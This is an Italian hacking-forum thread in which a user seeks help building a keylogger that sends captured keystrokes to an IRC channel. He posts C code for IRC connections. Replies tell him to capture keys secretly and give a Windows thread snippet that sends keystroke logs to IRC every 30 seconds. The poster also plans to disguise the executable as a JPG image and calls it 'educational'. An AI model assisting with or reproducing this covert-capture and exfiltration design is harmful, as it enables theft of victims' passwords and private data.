Risolto Connessione IRC C

ToPLayer

Utente Iron
30 Agosto 2023
29
7
2
13
Ho trovato un Key scritto in C su github. (https://github.com/djhohnstein/SharpLogger)

E ho trovato anche cercando su google, un codice per mandare messaggi in real time, su un server IRC utilizzando la libreria "libircclient.h"

Codice:
```c
#include <stdio.h>
#include <libircclient.h>

// Funzione chiamata quando si riceve un messaggio dal server IRC
void event_message_handler(irc_session_t *session, const char *event, const char *origin, const char **params, unsigned int count) {
for(int i = 0; i < count; i++) {
printf("[%s] %s: %s\n", event, origin, params[i]);
}
}

int main() {
irc_callbacks_t callbacks;
irc_session_t *session;
const char *server = "irc.freenode.net";
const char *channel = "#mio-canale";
const char *nick = "mio-nickname";

// Inizializzazione delle callbacks
memset(&callbacks, 0, sizeof(callbacks));
callbacks.event_message = event_message_handler;

// Creazione della sessione IRC
session = irc_create_session(&callbacks);
if (!session) {
printf("Errore creazione sessione IRC\n");
return 1;
}

// Connessione al server IRC
if (irc_connect(session, server, 6667, 0, nick, 0, 0) != 0) {
printf("Errore connessione al server IRC\n");
return 1;
}

// Join del canale IRC
if (irc_join(session, channel, 0) != 0) {
printf("Errore join del canale IRC\n");
return 1;
}

// Loop principale
if (irc_run(session) != 0) {
printf("Errore durante l'esecuzione della sessione IRC\n");
return 1;
}

// Chiusura della sessione IRC
irc_destroy_session(session);

return 0;
}
```

Ora vorrei capire, se questo codice di sopra può essere integrato nel key logger, e se questo codice di sotto può essere d'aiuto, essendo una domanda scritta in form in cui la risposta venga trasmessa sempre ad un server irc d'esempio..

Codice:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

#define IRC_SERVER "irc.example.com"
#define IRC_PORT 6667
#define IRC_CHANNEL "#form_responses"

void send_irc_message(int sockfd, const char* message) {
char irc_message[512];
snprintf(irc_message, sizeof(irc_message), "PRIVMSG %s :%s\r\n", IRC_CHANNEL, message);
write(sockfd, irc_message, strlen(irc_message));
}

int main() {
int sockfd;
struct sockaddr_in server_addr;

// Crea il socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
fprintf(stderr, "Errore nella creazione del socket\n");
return 1;
}

// Configura l'indirizzo del server IRC
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(IRC_PORT);
if (inet_pton(AF_INET, IRC_SERVER, &(server_addr.sin_addr)) <= 0) {
fprintf(stderr, "Errore nell'impostazione dell'indirizzo del server\n");
return 1;
}

// Connettiti al server IRC
if (connect(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
fprintf(stderr, "Errore nella connessione al server IRC\n");
return 1;
}

// Invia il messaggio di inizio al server IRC
send_irc_message(sockfd, "Il form è ora attivo!");

// Inizia il ciclo del form
while (1) {
char response[512];

printf("Inserisci la tua risposta: ");
fgets(response, sizeof(response), stdin);

// Rimuovi il carattere di nuova riga dal input
response[strcspn(response, "\n")] = 0;

// Invia la risposta al server IRC
send_irc_message(sockfd, response);
}

// Chiudi la connessione al server IRC
close(sockfd);

return 0;
}
```

Edit: IL key non so' se funziona, però ho letto adesso è in c#, devo cercarne uno propriamente in C?

Fatemi sapere quali argomenti devo studiarmi, per collegare il tutto, considerando che non ho problemi a capire la programmazione o a compilare.
 
I due codici che hai postato non hanno bisogno di essere integrati l'uno con l'altro. Ti basta utilizzare il secondo come modello e modificare l'ultima parte del codice, ossia "il ciclo del form". Questo perché il programma, così com'è scritto, chiede all'utente attraverso il terminale di inserire esplicitamente dei caratteri ed utilizza un array di char per inviare la risposta al server. In realtà, però, un keylogger deve carpire segretamente i tasti battuti sulla tastiera, altrimenti non si parla di keylogger, ma di un semplice programma che invia del testo a un server. Devi provare a cercare qualche funzione predefinita del linguaggio C su internet. Qualche altro utente più esperto di me potrà darti ulteriori consigli.
 
Ultima modifica:
Edit: IL key non so' se funziona, però ho letto adesso è in c#, devo cercarne uno propriamente in C?

Fatemi sapere quali argomenti devo studiarmi, per collegare il tutto, considerando che non ho problemi a capire la programmazione o a compilare.

Si, ti conviene farlo tutto in un linguaggio. Se vuoi partire dal primo esempio usando libircclient, puoi usare la funzione CreateThread (includi Windows.h) prima della chiamata ad irc_run per far partire il keylogger in un nuovo thread. Questo userà poi la funzione irc_cmd_msg per inviare periodicamente il log dei tasti premuti in chat. Esempio:

C:
unsigned long __stdcall KeyloggerThread(void* arguments)
{
    irc_session_t* session = (irc_session_t*)arguments;
    while (irc_is_connected(session))
    {
        Sleep(30000); // wait 30 seconds before sending again
        // ... load collected keystroke logs
        const char* logs = "...";
        irc_cmd_msg(session, channel, logs);
    }
    return 0;
}

// ... in main
CreateThread(0, 0, KeyloggerThread, session, 0, 0);

PS: non so se il secondo esempio funziona su Linux ma sicuramente non può funzionare su Windows.
 
Allora, dopo cerco un key in c, e al massimo vediamo successivamente come integrare il report su IRC, tenendo conto che abbiamo buoni modelli di esempio.

Sono molto arriuginito, devo ancora scaricare compilatori e librerie etc etc.. però fortuna la programmazione non è difficile, se hai già progetti di esempio et simili.

Devo anche, convertire l'exe in un jpg eseguibile, mettendo in risalto la qualità dell'immagine, però questo dovrebbe essere un fattore più semplice, come ho letto, già qua nel forum, ci sono diverse strade per arrivarci.

Ovviamente SOLO a scopi Educativi.
 
Non ho propriamente risolto, magari l'etica, manca la pratica, che in realtà è quella che conta davvero, sto aggiornado il sistema operativo e sto creando le vm per le prove, e gcc per linux, ci vuole un po' di tempo, perchè sono lento in questo periodo, soprattutto considerando, che devo rivedermi tante cose, e devo installare diverse app che mi mancano.

Devo ancora creare un server IRC d'esempio, o utilizzarne uno già esistente.. ci vuole un po' di tempo, anche se sono cose abbastanza veloci, avendo un lavoro stabile, non ho tutto il tempo per fare queste cose.

Ora in questa settimana, al massimo creo un altra discussione, se questa volete chiuderla..

Devo creare un exe, che su windows funzioni bene..